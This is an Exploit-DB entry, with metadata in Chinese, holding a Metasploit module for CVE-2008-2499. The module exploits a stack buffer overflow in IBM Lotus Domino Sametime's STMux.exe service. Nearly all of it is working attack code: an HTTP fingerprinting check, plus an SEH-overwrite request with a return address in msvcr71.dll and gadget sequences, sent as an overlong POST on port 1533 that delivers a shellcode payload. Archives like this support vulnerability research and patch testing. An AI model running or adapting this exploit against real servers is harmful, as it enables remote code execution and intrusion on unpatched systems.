标题: IBM Lotus Domino Sametime - 'STMux.exe' Remote Stack Buffer Overflow (Metasploit) EDB-ID: 16696 CVE: 2008-2499 类型: REMOTE 平台: WINDOWS 发布日期: 2010-05-09 漏洞利用脚本: ##
# $Id: domino_sametime_stmux.rb 9262 2010-05-09 17:45:00Z jduck $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'


class Metasploit3 < Msf::Exploit::Remote
 Rank = AverageRanking

 include Msf::Exploit::Remote::Tcp

 def initialize(info = {})
  super(update_info(info,
   'Name'  => 'IBM Lotus Domino Sametime STMux.exe Stack Buffer Overflow',
   'Description' => %q{
     This module exploits a stack buffer overflow in Lotus Domino\'s Sametime
    Server. By sending an overly long POST request to the Multiplexer
    STMux.exe service we are able to overwrite SEH. Based on the exploit
    by Manuel Santamarina Suarez.
   },
   'Author'     => [ 'patrick', 'riaf <riaf@mysec.org>' ],
   'Arch'   => [ ARCH_X86 ],
   'License'  => MSF_LICENSE,
   'Version'  => '$Revision: 9262 $',
   'References' =>
    [
     [ 'CVE', '2008-2499' ],
     [ 'OSVDB', '45610' ],
     [ 'BID', '29328' ],
     [ 'URL', 'http://www.zerodayinitiative.com/advisories/ZDI-08-028/' ],
    ],
   'Privileged'  => true,
   'DefaultOptions' =>
    {
     'EXITFUNC' => 'seh',
    },
   'Payload'  =>
    {
     'Space'   => 1024,
     'BadChars'  => "\x00\x0a\x0d",
     'StackAdjustment' => -3500,
    },
   'Platform' => ['win'],
   'Targets'  =>
    [
     # Patrick - Tested OK against Windows 2003 SP1 20081114
     [ 'Lotus Sametime 7.5 on Windows Server 2000 SP4', { 'Ret' => 0x7c3410c2, 'Offset' => [ 3, 268 ] }], # pop ecx, pop exc, ret msvcr71.dll
     [ 'Lotus Sametime 7.5 on Windows Server 2003 SP1', { 'Ret' => 0x7c3410c2, 'Offset' => [ 3, 269 ] }], # pop ecx, pop exc, ret msvcr71.dll
     [ 'Lotus Sametime 7.5 on Windows Server 2003 SP2', { 'Ret' => 0x7c3410c2, 'Offset' => [ 4, 269 ] }],
     [ 'Lotus Sametime 7.5.1  Windows Server 2003 SP2', { 'Ret' => 0x7c3410c2, 'Offset' => [ 5, 269 ] }],
     [ 'Lotus Sametime 8.0.0  Windows Server 2003 SP2', { 'Ret' => 0x7c3410c2, 'Offset' => [ 4, 269 ] }],
    ],
   'DisclosureDate' => 'May 21 2008',
   'DefaultTarget' => 1))

  register_options(
   [
    Opt::RPORT(1533),
   ], self.class)
 end

 def check
  connect

  req = "HEAD / HTTP/1.0\r\n\r\n"
  req << "User-Agent: Sametime Community Agent\r\n"
  req << "Host: #{datastore['RHOST']}:#{datastore['RPORT']}\r\n"
  sock.put(req)
  res = sock.get_once(-1,3)

  disconnect

  if (res =~/Lotus-Domino/)
   connect

   req = "GET /CommunityCBR HTTP/1.0\r\n\r\n"
   req << "User-Agent: Sametime Community Agent\r\n"
   req << "Host: #{datastore['RHOST']}:#{datastore['RPORT']}\r\n"
   sock.put(req)
   res = sock.get_once(-1,3)

   disconnect

   if (res =~/200 OK/)
    return Exploit::CheckCode::Detected
   end
  end

  return Exploit::CheckCode::Safe
 end

 def exploit
  connect

  pad1 = rand_text_alpha_lower(44)
  pad2 = rand_text_alpha_lower(29)

  # Patrick - We should use Metasm here.
  popebx = Metasm::Shellcode.assemble(Metasm::Ia32.new, "pop ebx").encode_string * target['Offset'][0]
  popad  = Metasm::Shellcode.assemble(Metasm::Ia32.new, "popad").encode_string * target['Offset'][1]
  esp  = "\xff\x24\x24" # dword ptr ss:[esp]
  jmp  = "\x74\x23" + "\x75\x21" # je short, jnz short
  seh = [target['Ret']].pack('V')

  path = pad1 + jmp + seh + pad2 + popebx + popad + esp

  req = "POST /CommunityCBR/CC.39.#{path}/\r\n"
  req << "User-Agent: Sametime Community Agent\r\n"
  req << "Host: #{datastore['RHOST']}:#{datastore['RPORT']}\r\n"
  req << "Content-Length: #{payload.encoded.length}\r\n"
  req << "Connection: Close\r\n"
  req << "Cache-Control: no-cache\r\n\r\n"
  req << payload.encoded

  sock.put(req)

  handler
  disconnect
 end
end URL: https://www.exploit-db.com/exploits/16696